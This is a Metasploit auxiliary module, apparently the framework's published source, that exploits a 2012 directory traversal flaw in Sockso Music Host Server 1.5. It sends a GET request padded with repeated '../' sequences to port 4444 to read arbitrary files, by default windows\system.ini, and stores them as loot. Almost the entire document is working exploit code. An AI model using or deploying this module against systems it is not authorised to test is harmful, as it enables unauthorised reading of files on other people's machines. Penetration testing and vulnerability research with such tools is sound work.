Sockso Music Host Server 1.5 Directory Traversal

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Sockso Music Host Server 1.5 Directory Traversal',
      'Description'    => %q{
          This module exploits a directory traversal bug in Sockso on port
        4444.  This is done by using "../" in the path to retrieve a file on
        a vulnerable machine.
      },
      'References'     =>
        [
          [ 'URL', 'http://aluigi.altervista.org/adv/sockso_1-adv.txt' ],
        ],
      'Author'         =>
        [
          'Luigi Auriemma',  #Initial discovery, poc
          'sinn3r'
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => '2012-03-14'
    ))

    register_options(
      [
        Opt::RPORT(4444),
        OptString.new('FILEPATH', [false, 'The name of the file to download', 'windows\\system.ini'])
      ])
  end

  def run_host(ip)
    trav = "file/"
    trav << "../" * 10

    file = datastore['FILEPATH']
    file = file[1,file.length] if file[0,1] == "\\"

    uri = "/#{trav}#{file}"
    print_status("#{ip}:#{rport} - Retrieving #{file}")

    res = send_request_raw({
      'method' => 'GET',
      'uri'    => uri
    }, 25)

    print_status("#{ip}:#{rport} returns: #{res.code.to_s}")

    if res and res.body.empty?
      print_error("No file to download (empty)")
    else
      fname = File.basename(datastore['FILEPATH'])
      path = store_loot(
        'netdecision.http',
        'application/octet-stream',
        ip,
        res.body,
        fname)
      print_status("File saved in: #{path}")
    end
  end
end